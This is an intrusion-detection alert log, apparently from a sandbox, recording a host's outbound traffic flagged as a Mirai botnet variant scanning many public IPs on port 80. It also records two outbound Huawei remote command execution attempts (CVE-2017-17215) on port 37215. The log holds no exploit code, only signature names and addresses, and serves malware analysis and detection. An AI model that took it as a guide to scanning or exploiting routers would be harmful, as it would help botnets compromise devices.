03/04/24-15:05:42.693944	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48694	80	192.168.2.13	88.198.80.29
03/04/24-15:06:09.261131	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	58418	80	192.168.2.13	88.195.70.170
03/04/24-15:07:43.714446	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42838	80	192.168.2.13	88.19.69.16
03/04/24-15:06:59.144196	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45246	80	192.168.2.13	88.146.235.26
03/04/24-15:07:56.664293	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53364	80	192.168.2.13	95.101.236.59
03/04/24-15:08:27.792070	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40724	80	192.168.2.13	88.102.141.20
03/04/24-15:08:46.787495	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36416	80	192.168.2.13	112.74.205.137
03/04/24-15:07:17.544327	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53912	80	192.168.2.13	95.241.185.58
03/04/24-15:07:24.823397	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43326	80	192.168.2.13	88.198.212.216
03/04/24-15:06:42.618770	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	50482	80	192.168.2.13	88.80.20.139
03/04/24-15:08:42.760890	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	37950	80	192.168.2.13	95.100.128.4
03/04/24-15:06:43.775042	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56378	80	192.168.2.13	95.181.234.11
03/04/24-15:08:54.836986	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35966	80	192.168.2.13	95.159.28.130
03/04/24-15:06:37.272916	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40030	80	192.168.2.13	95.111.237.59
03/04/24-15:08:06.609976	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49536	80	192.168.2.13	112.28.220.91
03/04/24-15:05:43.070348	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46380	80	192.168.2.13	95.100.41.218
03/04/24-15:07:13.371898	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46368	80	192.168.2.13	88.99.33.190
03/04/24-15:07:38.825610	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56616	80	192.168.2.13	95.65.24.16
03/04/24-15:08:52.601087	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47590	80	192.168.2.13	95.216.245.147
03/04/24-15:08:31.699463	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	52598	80	192.168.2.13	112.183.141.71
03/04/24-15:07:47.796616	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44946	80	192.168.2.13	95.80.182.200
03/04/24-15:06:01.967033	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48206	80	192.168.2.13	112.124.66.112
03/04/24-15:07:06.912763	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47336	80	192.168.2.13	112.187.210.153
03/04/24-15:06:37.193366	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45858	80	192.168.2.13	95.211.219.49
03/04/24-15:07:27.681569	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	38020	80	192.168.2.13	112.106.28.103
03/04/24-15:08:09.720323	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59526	80	192.168.2.13	95.101.160.159
03/04/24-15:07:13.316937	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49802	80	192.168.2.13	112.187.210.175
03/04/24-15:07:40.696334	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48272	80	192.168.2.13	95.47.249.42
03/04/24-15:06:48.010084	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47894	80	192.168.2.13	112.15.41.238
03/04/24-15:08:59.867163	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45218	80	192.168.2.13	88.87.14.122
03/04/24-15:06:53.068985	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36308	80	192.168.2.13	112.196.110.161
03/04/24-15:06:28.791831	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35440	80	192.168.2.13	95.101.64.245
03/04/24-15:07:33.681058	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	37950	80	192.168.2.13	112.74.28.191
03/04/24-15:07:07.474085	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41766	80	192.168.2.13	95.64.224.70
03/04/24-15:06:02.136100	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53856	80	192.168.2.13	95.179.170.108
03/04/24-15:06:22.412423	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55172	80	192.168.2.13	112.196.79.89
03/04/24-15:05:57.231246	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40706	80	192.168.2.13	112.65.119.40
03/04/24-15:07:07.464223	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56574	80	192.168.2.13	95.163.239.76
03/04/24-15:07:18.298919	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49936	80	192.168.2.13	95.101.246.219
03/04/24-15:07:23.934992	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	38186	80	192.168.2.13	112.126.102.4
03/04/24-15:08:44.947131	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34162	80	192.168.2.13	95.217.15.200
03/04/24-15:08:09.382883	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	37912	80	192.168.2.13	112.30.220.134
03/04/24-15:07:35.632653	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51038	80	192.168.2.13	95.100.148.94
03/04/24-15:06:33.881098	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	38624	80	192.168.2.13	95.217.216.68
03/04/24-15:08:18.980429	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35222	80	192.168.2.13	95.59.108.108
03/04/24-15:08:39.731643	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54654	80	192.168.2.13	88.216.66.42
03/04/24-15:07:18.313675	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56670	80	192.168.2.13	95.100.224.187
03/04/24-15:09:04.292678	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53618	80	192.168.2.13	88.221.24.137
03/04/24-15:06:37.079877	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54992	80	192.168.2.13	95.221.51.124
03/04/24-15:07:27.784469	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34302	80	192.168.2.13	95.163.158.170
03/04/24-15:08:33.179200	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42812	80	192.168.2.13	88.96.184.59
03/04/24-15:06:51.301364	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34174	80	192.168.2.13	112.175.135.18
03/04/24-15:08:58.357855	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34376	80	192.168.2.13	112.162.233.29
03/04/24-15:06:10.221200	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44746	80	192.168.2.13	95.100.63.183
03/04/24-15:06:37.420912	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59302	80	192.168.2.13	95.214.8.108
03/04/24-15:05:56.533759	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41696	80	192.168.2.13	95.216.227.55
03/04/24-15:07:59.806113	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	58126	80	192.168.2.13	88.99.29.225
03/04/24-15:06:59.858514	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43548	80	192.168.2.13	88.80.161.155
03/04/24-15:06:10.907335	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45336	80	192.168.2.13	112.29.133.159
03/04/24-15:06:20.084016	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47856	80	192.168.2.13	112.28.219.4
03/04/24-15:07:06.235103	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40546	80	192.168.2.13	112.124.67.53
03/04/24-15:08:19.937508	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41320	80	192.168.2.13	95.58.242.231
03/04/24-15:06:32.646812	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36222	80	192.168.2.13	95.164.89.221
03/04/24-15:07:51.956777	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43542	80	192.168.2.13	88.217.239.55
03/04/24-15:08:52.575601	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34278	80	192.168.2.13	95.85.38.124
03/04/24-15:06:58.654875	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44904	80	192.168.2.13	95.179.141.8
03/04/24-15:07:24.844473	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39412	80	192.168.2.13	88.81.88.25
03/04/24-15:08:22.538897	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47888	80	192.168.2.13	88.221.67.9
03/04/24-15:05:35.577240	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57024	80	192.168.2.13	112.124.55.210
03/04/24-15:06:37.182443	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51830	80	192.168.2.13	95.179.237.188
03/04/24-15:06:47.788964	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47904	80	192.168.2.13	112.15.41.238
03/04/24-15:06:58.741658	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44798	80	192.168.2.13	95.56.17.6
03/04/24-15:07:24.288196	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40114	80	192.168.2.13	112.78.47.123
03/04/24-15:08:38.810902	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59324	80	192.168.2.13	88.83.41.196
03/04/24-15:05:42.704672	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51764	80	192.168.2.13	88.200.23.98
03/04/24-15:06:22.353338	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35636	80	192.168.2.13	112.198.131.87
03/04/24-15:06:52.993992	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59718	80	192.168.2.13	112.197.114.5
03/04/24-15:07:31.660259	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46488	80	192.168.2.13	112.173.2.193
03/04/24-15:08:54.623000	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53562	80	192.168.2.13	88.206.87.21
03/04/24-15:06:37.298049	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49598	80	192.168.2.13	95.86.91.163
03/04/24-15:06:47.533805	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	38644	80	192.168.2.13	112.47.18.146
03/04/24-15:08:58.856692	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39164	80	192.168.2.13	112.74.73.127
03/04/24-15:06:37.028779	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36776	80	192.168.2.13	95.100.76.224
03/04/24-15:07:07.446620	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35184	80	192.168.2.13	95.216.188.96
03/04/24-15:08:26.802414	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	50752	80	192.168.2.13	88.65.211.189
03/04/24-15:05:56.533805	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59518	80	192.168.2.13	95.217.49.214
03/04/24-15:08:52.841906	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39938	80	192.168.2.13	95.100.10.179
03/04/24-15:06:20.969106	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46488	80	192.168.2.13	95.58.242.97
03/04/24-15:06:33.691888	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51568	80	192.168.2.13	95.67.123.94
03/04/24-15:07:33.960500	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54302	80	192.168.2.13	95.38.146.246
03/04/24-15:07:38.803434	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39656	80	192.168.2.13	95.216.146.67
03/04/24-15:06:33.017006	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41016	80	192.168.2.13	95.160.51.191
03/04/24-15:07:27.761696	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54314	80	192.168.2.13	95.217.117.81
03/04/24-15:08:23.112358	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39182	80	192.168.2.13	112.213.86.207
03/04/24-15:06:34.871045	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34062	80	192.168.2.13	112.78.150.230
03/04/24-15:07:13.391286	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	52998	80	192.168.2.13	88.216.161.122
03/04/24-15:07:19.715811	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49076	80	192.168.2.13	95.101.211.56
03/04/24-15:05:48.581183	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35288	80	192.168.2.13	88.221.132.191
03/04/24-15:08:42.224807	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55918	80	192.168.2.13	112.74.143.231
03/04/24-15:05:51.660578	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	58740	80	192.168.2.13	112.74.201.78
03/04/24-15:06:26.026109	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39950	80	192.168.2.13	112.30.217.86
03/04/24-15:08:52.865612	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39946	80	192.168.2.13	95.100.10.179
03/04/24-15:07:55.329163	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57720	80	192.168.2.13	88.218.168.123
03/04/24-15:08:26.926340	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43264	80	192.168.2.13	112.194.67.101
03/04/24-15:08:52.748037	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41382	80	192.168.2.13	88.198.198.168
03/04/24-15:07:20.079170	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46910	80	192.168.2.13	112.126.75.62
03/04/24-15:07:59.631218	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57604	80	192.168.2.13	88.99.208.55
03/04/24-15:07:01.939120	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55194	80	192.168.2.13	112.28.235.161
03/04/24-15:06:30.926088	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53148	80	192.168.2.13	88.247.238.196
03/04/24-15:08:19.354593	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45394	80	192.168.2.13	112.187.188.201
03/04/24-15:08:19.891929	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	58874	80	192.168.2.13	95.104.119.34
03/04/24-15:06:40.224483	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	33506	80	192.168.2.13	95.211.222.108
03/04/24-15:08:42.135642	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42814	80	192.168.2.13	112.164.178.215
03/04/24-15:07:27.752001	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57922	80	192.168.2.13	95.33.218.48
03/04/24-15:08:26.624215	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59722	80	192.168.2.13	95.217.241.216
03/04/24-15:06:10.202652	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	32890	80	192.168.2.13	95.179.143.76
03/04/24-15:07:56.683608	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47324	80	192.168.2.13	88.198.128.59
03/04/24-15:07:07.768948	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41824	80	192.168.2.13	88.198.68.156
03/04/24-15:07:07.464383	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41068	80	192.168.2.13	95.214.98.44
03/04/24-15:05:57.201693	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42942	80	192.168.2.13	112.158.198.28
03/04/24-15:07:43.969858	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36376	80	192.168.2.13	95.100.245.42
03/04/24-15:08:42.114839	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56388	80	192.168.2.13	112.133.250.204
03/04/24-15:06:20.692341	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44706	80	192.168.2.13	95.210.97.73
03/04/24-15:05:49.283844	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57638	80	192.168.2.13	112.30.218.180
03/04/24-15:07:39.403684	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	38230	80	192.168.2.13	112.184.159.112
03/04/24-15:08:03.389224	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	58202	80	192.168.2.13	88.198.16.215
03/04/24-15:08:44.945058	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43584	80	192.168.2.13	95.217.190.48
03/04/24-15:07:22.248710	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40520	80	192.168.2.13	95.57.209.81
03/04/24-15:07:22.003588	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35582	80	192.168.2.13	95.213.197.12
03/04/24-15:08:19.942228	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39318	80	192.168.2.13	88.210.29.252
03/04/24-15:06:10.425676	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43780	80	192.168.2.13	88.208.226.83
03/04/24-15:06:17.441209	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45396	80	192.168.2.13	112.29.133.159
03/04/24-15:06:27.949347	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47638	80	192.168.2.13	95.211.4.172
03/04/24-15:08:19.916519	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	52040	80	192.168.2.13	95.56.26.67
03/04/24-15:06:37.711763	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59330	80	192.168.2.13	88.17.148.9
03/04/24-15:06:03.934047	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	37976	80	192.168.2.13	95.84.173.66
03/04/24-15:08:45.072141	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57484	80	192.168.2.13	95.154.88.233
03/04/24-15:07:18.686744	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44932	80	192.168.2.13	95.179.130.249
03/04/24-15:08:09.720555	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46034	80	192.168.2.13	95.168.190.167
03/04/24-15:06:30.929900	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36442	80	192.168.2.13	88.225.230.126
03/04/24-15:05:43.108519	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54604	80	192.168.2.13	95.31.35.106
03/04/24-15:06:20.249929	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45468	80	192.168.2.13	112.29.133.159
03/04/24-15:07:17.772016	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60500	37215	192.168.2.13	197.49.5.252
03/04/24-15:06:53.897610	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44410	80	192.168.2.13	112.185.99.147
03/04/24-15:07:23.855047	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	52290	80	192.168.2.13	112.204.106.134
03/04/24-15:06:02.132022	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49266	80	192.168.2.13	95.211.244.136
03/04/24-15:06:33.946765	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45778	80	192.168.2.13	95.57.140.129
03/04/24-15:08:27.765712	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53414	80	192.168.2.13	88.208.196.90
03/04/24-15:07:19.036746	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46886	80	192.168.2.13	112.126.75.62
03/04/24-15:08:41.128594	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45248	80	192.168.2.13	95.100.23.223
03/04/24-15:07:17.772016	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60500	37215	192.168.2.13	197.49.5.252
03/04/24-15:08:52.567680	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54642	80	192.168.2.13	95.161.64.31
03/04/24-15:05:37.528998	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	33916	80	192.168.2.13	112.13.83.216
03/04/24-15:06:52.990926	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44960	80	192.168.2.13	112.124.28.167
03/04/24-15:06:55.867678	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57838	80	192.168.2.13	88.255.55.122
03/04/24-15:07:35.470089	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46242	80	192.168.2.13	88.250.118.233
03/04/24-15:08:43.355433	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55944	80	192.168.2.13	112.74.143.231
03/04/24-15:07:17.329360	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56416	80	192.168.2.13	95.101.70.122
03/04/24-15:06:53.297799	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40650	80	192.168.2.13	112.216.114.50
03/04/24-15:07:23.737045	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35626	80	192.168.2.13	95.213.197.12
03/04/24-15:08:20.862461	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47668	80	192.168.2.13	95.217.203.49
03/04/24-15:08:26.926227	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43262	80	192.168.2.13	112.194.67.101
03/04/24-15:06:25.554191	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48606	80	192.168.2.13	112.165.170.58
03/04/24-15:07:59.789607	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55052	80	192.168.2.13	88.150.233.132
03/04/24-15:05:42.687869	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	32934	80	192.168.2.13	88.221.168.146
03/04/24-15:07:43.934792	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36266	80	192.168.2.13	95.86.76.65
03/04/24-15:07:27.831350	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57354	80	192.168.2.13	95.56.158.21
03/04/24-15:07:32.576613	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39202	80	192.168.2.13	95.101.46.44
03/04/24-15:06:20.703429	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49550	80	192.168.2.13	95.0.204.33
03/04/24-15:07:43.637002	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40706	80	192.168.2.13	95.101.195.214
03/04/24-15:05:59.952044	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	50638	80	192.168.2.13	112.197.245.248
03/04/24-15:06:28.833486	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54420	80	192.168.2.13	95.31.199.41
03/04/24-15:08:54.567287	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55864	80	192.168.2.13	88.221.73.20
03/04/24-15:05:47.599043	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40272	80	192.168.2.13	95.179.29.188
03/04/24-15:08:18.978441	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	58462	80	192.168.2.13	95.58.241.23
03/04/24-15:05:51.869730	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	38112	80	192.168.2.13	95.65.100.21
03/04/24-15:08:27.645160	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48590	80	192.168.2.13	95.175.10.199
03/04/24-15:08:23.084444	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46618	80	192.168.2.13	95.192.57.151
03/04/24-15:07:51.928747	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	38000	80	192.168.2.13	88.208.245.78
03/04/24-15:08:30.954591	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46972	80	192.168.2.13	88.214.237.101
03/04/24-15:08:04.087107	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47678	80	192.168.2.13	112.218.22.246
03/04/24-15:05:51.818627	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47042	80	192.168.2.13	95.100.184.42
03/04/24-15:08:06.424473	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49534	80	192.168.2.13	112.28.220.91
03/04/24-15:08:41.028942	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49052	80	192.168.2.13	95.213.216.183
03/04/24-15:08:38.956045	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54626	80	192.168.2.13	88.151.236.162
03/04/24-15:08:54.581925	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59354	80	192.168.2.13	88.129.150.220
03/04/24-15:07:18.549561	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56424	80	192.168.2.13	95.101.70.122
03/04/24-15:07:22.238250	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36524	80	192.168.2.13	95.142.37.36
03/04/24-15:06:56.470734	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39652	80	192.168.2.13	95.179.233.226
03/04/24-15:07:57.679734	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53388	80	192.168.2.13	95.101.236.59
03/04/24-15:07:01.770568	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56778	80	192.168.2.13	95.183.196.133
03/04/24-15:06:33.951842	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40696	80	192.168.2.13	95.101.172.173
03/04/24-15:07:57.494297	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	37816	80	192.168.2.13	88.221.151.119
03/04/24-15:08:20.973438	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40192	80	192.168.2.13	95.0.67.219
03/04/24-15:07:40.693974	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39494	80	192.168.2.13	95.213.20.163
03/04/24-15:05:51.681638	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43594	80	192.168.2.13	112.124.102.236
03/04/24-15:06:20.994593	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53664	80	192.168.2.13	95.100.16.228
03/04/24-15:08:03.405855	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41064	80	192.168.2.13	88.117.33.31
03/04/24-15:05:56.620630	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35632	80	192.168.2.13	95.58.236.209
03/04/24-15:07:48.432106	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39616	80	192.168.2.13	88.100.238.26
03/04/24-15:06:42.591093	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	33794	80	192.168.2.13	88.127.103.21
03/04/24-15:06:58.659834	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47174	80	192.168.2.13	95.100.81.229
03/04/24-15:06:53.002875	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	33872	80	192.168.2.13	112.196.128.90
03/04/24-15:07:38.614791	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36574	80	192.168.2.13	95.101.186.204
03/04/24-15:07:40.254928	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47604	80	192.168.2.13	95.101.176.99
